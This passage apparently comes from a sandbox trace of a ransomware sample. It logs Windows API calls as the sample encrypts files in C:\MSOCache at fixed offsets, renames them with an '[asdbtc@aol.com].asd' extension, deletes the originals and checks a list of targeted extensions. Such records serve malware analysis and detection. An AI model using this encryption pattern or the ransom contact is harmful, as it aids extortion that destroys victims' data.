lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0058.940] SetEndOfFile (hFile=0x1f4) returned 1 [0058.940] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0058.943] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.943] WriteFile (in: hFile=0x1f4, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.945] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.945] WriteFile (in: hFile=0x1f4, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.947] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.947] WriteFile (in: hFile=0x1f4, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.949] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0058.949] CloseHandle (hObject=0x1f4) returned 1 [0058.950] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0058.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.950] lstrlenW (lpString=".doc") returned 4 [0058.950] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0058.950] lstrlenW (lpString=".docx") returned 5 [0058.950] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0058.950] lstrlenW (lpString=".pdf") returned 4 [0058.950] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0058.950] lstrlenW (lpString=".xls") returned 4 [0058.950] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0058.950] lstrlenW (lpString=".xlsx") returned 5 [0058.950] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0058.950] lstrlenW (lpString=".ppt") returned 4 [0058.950] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0058.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.950] lstrlenW (lpString=".zip") returned 4 [0058.950] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0058.950] lstrlenW (lpString=".rar") returned 4 [0058.950] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0058.950] lstrlenW (lpString=".bz2") returned 4 [0058.950] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0058.950] lstrlenW (lpString=".7z") returned 3 [0058.950] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0058.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.951] lstrlenW (lpString=".dbf") returned 4 [0058.951] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0058.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.951] lstrlenW (lpString=".1cd") returned 4 [0058.951] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0058.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.951] lstrlenW (lpString=".jpg") returned 4 [0058.951] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0058.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.951] lstrlenW (lpString=".doc") returned 4 [0058.951] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0058.951] lstrlenW (lpString=".docx") returned 5 [0058.951] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0058.951] lstrlenW (lpString=".pdf") returned 4 [0058.951] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0058.951] lstrlenW (lpString=".xls") returned 4 [0058.951] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0058.951] lstrlenW (lpString=".xlsx") returned 5 [0058.951] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0058.951] lstrlenW (lpString=".ppt") returned 4 [0058.951] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0058.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.951] lstrlenW (lpString=".zip") returned 4 [0058.951] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0058.951] lstrlenW (lpString=".rar") returned 4 [0058.951] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0058.951] lstrlenW (lpString=".bz2") returned 4 [0058.951] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0058.951] lstrlenW (lpString=".7z") returned 3 [0058.951] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0058.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.952] lstrlenW (lpString=".dbf") returned 4 [0058.952] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0058.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.952] lstrlenW (lpString=".1cd") returned 4 [0058.952] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0058.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0058.952] lstrlenW (lpString=".jpg") returned 4 [0058.952] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0058.952] lstrcmpiW (lpString1=".exe", lpString2=".asd") returned 1 [0058.952] lstrlenW (lpString="ose.exe") returned 7 [0058.952] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.952] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=174440) returned 1 [0058.952] CloseHandle (hObject=0x1f4) returned 1 [0058.953] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0058.953] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0058.953] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.953] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.953] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.953] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0058.953] GetLastError () returned 0x0 [0058.953] ReadFile (in: hFile=0x1f4, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0x2a968, lpOverlapped=0x0) returned 1 [0059.181] WriteFile (in: hFile=0x208, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0059.185] ReadFile (in: hFile=0x1f4, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.186] WriteFile (in: hFile=0x208, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0059.186] SetEndOfFile (hFile=0x208) returned 1 [0059.186] CloseHandle (hObject=0x208) returned 1 [0059.186] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.186] SetEndOfFile (hFile=0x1f4) returned 1 [0059.189] CloseHandle (hObject=0x1f4) returned 1 [0059.189] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0059.189] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0059.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.418] lstrlenW (lpString=".doc") returned 4 [0059.418] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0059.418] lstrlenW (lpString=".docx") returned 5 [0059.418] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0059.418] lstrlenW (lpString=".pdf") returned 4 [0059.418] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0059.418] lstrlenW (lpString=".xls") returned 4 [0059.418] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0059.418] lstrlenW (lpString=".xlsx") returned 5 [0059.418] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0059.418] lstrlenW (lpString=".ppt") returned 4 [0059.418] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0059.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.418] lstrlenW (lpString=".zip") returned 4 [0059.418] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0059.418] lstrlenW (lpString=".rar") returned 4 [0059.418] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0059.418] lstrlenW (lpString=".bz2") returned 4 [0059.418] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0059.418] lstrlenW (lpString=".7z") returned 3 [0059.418] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0059.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.418] lstrlenW (lpString=".dbf") returned 4 [0059.418] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0059.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.418] lstrlenW (lpString=".1cd") returned 4 [0059.418] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0059.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.419] lstrlenW (lpString=".jpg") returned 4 [0059.419] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0059.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.419] lstrlenW (lpString=".doc") returned 4 [0059.419] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0059.419] lstrlenW (lpString=".docx") returned 5 [0059.419] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0059.419] lstrlenW (lpString=".pdf") returned 4 [0059.419] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0059.419] lstrlenW (lpString=".xls") returned 4 [0059.419] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0059.419] lstrlenW (lpString=".xlsx") returned 5 [0059.419] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0059.419] lstrlenW (lpString=".ppt") returned 4 [0059.419] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0059.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.419] lstrlenW (lpString=".zip") returned 4 [0059.419] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0059.419] lstrlenW (lpString=".rar") returned 4 [0059.419] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0059.419] lstrlenW (lpString=".bz2") returned 4 [0059.419] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0059.419] lstrlenW (lpString=".7z") returned 3 [0059.419] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0059.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.419] lstrlenW (lpString=".dbf") returned 4 [0059.420] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0059.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.420] lstrlenW (lpString=".1cd") returned 4 [0059.420] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0059.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.420] lstrlenW (lpString=".jpg") returned 4 [0059.420] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0059.420] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0059.420] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0059.420] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.648] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=10798080) returned 1 [0059.648] CloseHandle (hObject=0x220) returned 1 [0059.648] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0059.648] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.649] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0059.649] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.650] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0059.650] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0059.650] ReadFile (in: hFile=0x220, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.654] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0059.654] ReadFile (in: hFile=0x220, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.658] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0059.658] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0059.658] ReadFile (in: hFile=0x220, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.677] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.677] WriteFile (in: hFile=0x220, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0059.883] SetEndOfFile (hFile=0x220) returned 1 [0059.990] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f53fe8 [0059.993] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0059.993] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.994] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0059.994] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.996] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0059.996] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f53fe8 | out: hHeap=0x510000) returned 1 [0060.001] CloseHandle (hObject=0x220) returned 1 [0060.002] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0060.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.002] lstrlenW (lpString=".doc") returned 4 [0060.002] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0060.002] lstrlenW (lpString=".docx") returned 5 [0060.002] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0060.002] lstrlenW (lpString=".pdf") returned 4 [0060.002] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0060.002] lstrlenW (lpString=".xls") returned 4 [0060.002] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0060.002] lstrlenW (lpString=".xlsx") returned 5 [0060.002] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0060.002] lstrlenW (lpString=".ppt") returned 4 [0060.002] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0060.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.002] lstrlenW (lpString=".zip") returned 4 [0060.003] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0060.003] lstrlenW (lpString=".rar") returned 4 [0060.003] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0060.003] lstrlenW (lpString=".bz2") returned 4 [0060.003] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0060.003] lstrlenW (lpString=".7z") returned 3 [0060.003] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0060.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.003] lstrlenW (lpString=".dbf") returned 4 [0060.003] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0060.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.003] lstrlenW (lpString=".1cd") returned 4 [0060.003] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0060.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.003] lstrlenW (lpString=".jpg") returned 4 [0060.003] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0060.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.003] lstrlenW (lpString=".doc") returned 4 [0060.003] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0060.003] lstrlenW (lpString=".docx") returned 5 [0060.003] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0060.003] lstrlenW (lpString=".pdf") returned 4 [0060.003] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0060.003] lstrlenW (lpString=".xls") returned 4 [0060.003] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0060.003] lstrlenW (lpString=".xlsx") returned 5 [0060.003] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0060.004] lstrlenW (lpString=".ppt") returned 4 [0060.004] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0060.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.004] lstrlenW (lpString=".zip") returned 4 [0060.004] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0060.004] lstrlenW (lpString=".rar") returned 4 [0060.004] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0060.004] lstrlenW (lpString=".bz2") returned 4 [0060.004] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0060.004] lstrlenW (lpString=".7z") returned 3 [0060.004] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0060.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.004] lstrlenW (lpString=".dbf") returned 4 [0060.004] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0060.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.004] lstrlenW (lpString=".1cd") returned 4 [0060.004] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0060.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0060.004] lstrlenW (lpString=".jpg") returned 4 [0060.004] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0060.004] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0060.004] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0060.005] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all 